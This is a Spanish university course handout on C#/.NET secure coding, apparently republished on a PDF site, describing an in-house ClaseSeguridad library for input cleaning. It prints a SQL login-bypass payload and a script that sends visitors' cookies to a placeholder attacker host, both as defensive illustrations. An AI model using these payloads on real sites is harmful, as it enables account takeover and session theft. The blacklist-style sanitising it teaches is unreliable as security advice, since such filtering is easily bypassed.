PDF de programación - Aplicaciones seguras con ClseSeguridad - Curso .NET con C#

Imágen de pdf Aplicaciones seguras con ClseSeguridad - Curso .NET con C#

Aplicaciones seguras con ClseSeguridad - Curso .NET con C#gráfica de visualizaciones

Publicado el 13 de Agosto del 2018
518 visualizaciones desde el 13 de Agosto del 2018
116,5 KB
5 paginas
Creado hace 13a (28/09/2010)
Curso .NET con C#
Servicio de Informática

Aplicaciones seguras con ClaseSeguridad

Índice de contenido
¿Por que ClaseSeguridad?.............................................................................................................1
Referenciar ClaseSeguridad...........................................................................................................1
Declaración y creación....................................................................................................................1
Evitar inyección de SQL..................................................................................................................1
Eliminar etiquetas............................................................................................................................3
Evitar comillas.................................................................................................................................3
Inyección de código.........................................................................................................................4
Comprobar elementos propios de las aplicaciones UA...................................................................5
Máquinas de la universidad.........................................................................................................5
Aplicación en desarrollo...............................................................................................................5

¿Por que ClaseSeguridad?
Aplicando esta clase podemos evitar tanto ataques a nuestras aplicaciones como errores por
cadenas con caracteres no permitidos. Por ejemplo evitar la inyección de sentencias SQL o
código en nuestro formulario, comprobar formatos de datos como el curso académico o saber

Referenciar ClaseSeguridad
Al igual que el resto de clases ClaseSeguridad se encuentra dentro de la carpeta
\ToolsNet\DLLs . Creamos una referencia a ClaseSeguridad.dll y la incluimos con la clausila
using.

using ua;

Declaración y creación
Para usar ClaseSeguridad nos creamos una instancia de la clase
ClaseSeguridad oSeguridad = new ClaseSeguridad();

Tema 6 / Página 1

Curso .NET con C#
Servicio de Informática

Evitar inyección de SQL

Una forma clásica de atacar aplicaciones web que acceden a bases de datos es mediante la
inclusión de fragmentos de código SQL en los controles de entrada de datos. Conocido
comúnmente como “Sql Injection”
Por ejemplo, tenemos dos cajas de texto, una para el usuario y otra para la contraseña. Leemos
los dos valores y vemos si tiene acceso a la aplicación consultando en la tabla de usuarios con:
SELECT 1 FROM usuarios WHERE usu='valorCampoUsu' AND pwd='valorCampoPwd'
Un usuario espabilado podría poner en el campo usuario el valor:
chiquito' OR 1=1 --
Con lo que internamente la consulta que realizaríamos sería:
SELECT 1 FROM usuarios WHERE usu='chiquito' OR 1=1 --' AND
pwd='valorCampoPwd'
Permitiendo el acceso a este usuario.

Mediante el método LimpiezaSQL se eliminan todas las referencias a sentencias SQL que tenga
una cadena. Nos devuelve la cadena limpia de comillas, caracteres de inyección y formateado

string oSeguridad.LimpiezaSQL(String cadena, int tamano, String valordefecto)
Los parámetros que recibe son:





cadena → Cadena a limpiar
tamano → Tamaño máximo de la cadena
valordefecto → Por si acaso la cadena es vacía, valor que se le asignaría por defecto

Después de utilizar este método podemos consultar el valor de la propiedad HayAtaque para
comprobar si ha habido inyección de código sql.

Por ejemplo, para el código.

Response.Write(oSeguridad.LimpiezaSQL("chiquito' OR 1=1 --", 120, "error"));
Response.Write("<br/>Hay ataque: " + oSeguridad.HayAtaque);

El resultado es.

chiquito OR 11
Hay ataque: True

Tema 6 / Página 2

Curso .NET con C#
Servicio de Informática

Eliminar etiquetas

Mediante el método EliminarTags podemos eliminar todas las ocurrencias de una cadena en
otra. Es sensible a mayúsculas y minúsculas.

string oSeguridad.EliminarTags(string referencia,string etiqueta)

Los parámetros que recibe son:




referencia → Cadena a reemplazar
etiqueta → Cadena a buscar

Ejemplo, queremos eliminar todas las veces que aparece la palabra select en una cadena.

oSeguridad.EliminarTags("select uno Select dos select tres", "select");

El resultado sería:

uno Select dos tres

Evitar comillas

Mediante el método EvitarComillas se eliminará todo el contenido que halla detrás de las
primeras comillas simples de una cadena. Hay que tener cuidado al utilizar este método con
valenciano e inglés ya que perderíamos el contenido después del primer apostrofe.

string oSeguridad.EvitarComillas(String cadena)

Recibe como parámetro la cadena que queremos limpiar

Ejemplo

oSeguridad.EvitarComillas("hola Juan 'el algarrobo' y olé!");

Devolvería:

hola Juan

Tema 6 / Página 3

Curso .NET con C#
Servicio de Informática

Inyección de código

Además de evitar la inyección de sql también se puede evitar la inyección de código "code
injection". Esto se refiere a la inclusión de código html y de script en los controles.
Por ejemplo, un listillo que conozca una vulnerabilidad en nuestro libro de visitas en la web puede
insertar un mensaje como el siguiente:

Bonito sitio, Creo que me lo quedare>
<script>document.location='http://some_attacker/cookie.cgi?'
+document.cookie</script>
Si otro usuario ve la página se ejecutará el código inyectado.

Pero tampoco hace falta que intenten atacarnos, si existe esta vulnerabilidad un usuario que
inserte lo siguiente hará que su emoticon cause una mala formación del html de la página
Como mola este post, >:)

Para evitar esto utilizaremos el método EliminarCodeInjection.

string oSeguridad.EliminarCodeInjection(cadena);

Recibe como parámetro la cadena a limpiar

Ejemplo:
String laCadena = "Bla bla <script>alert('Caraculo');</script>";
Response.Write(oSeguridad.EliminarCodeInjection(laCadena));

El resultado será:
Bla bla

Tema 6 / Página 4

Curso .NET con C#
Servicio de Informática

Comprobar elementos propios de las aplicaciones UA

Máquinas de la universidad

Mediante el método EsIpUA podemos saber si una máquina es o no de la universidad. Recibe
como parámetro una IP.

bool oSeguridad.EsIpUa(string ip)

Ejemplo
ClaseSeguridad oSeguridad = new ClaseSeguridad();
if (oSeguridad.EsIpUa(ip))
// acceden desde la UA
else
// acceden desde fuera de la UA

Aplicación en desarrollo

Mediante el método EsDesarrollo podemos saber si la aplicación se está ejecutando en
desarrollo o en producción

bool oSeguridad.EsDesarrollo()

Ejemplo
ClaseSeguridad oSeguridad = new ClaseSeguridad();
if (oSeguridad.EsDesarrollo())
// Estamos en desarrollo
else
// Estamos en producción

The End

Tema 6 / Página 5
  • Links de descarga
http://lwp-l.com/pdf12977

Comentarios de: Aplicaciones seguras con ClseSeguridad - Curso .NET con C# (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad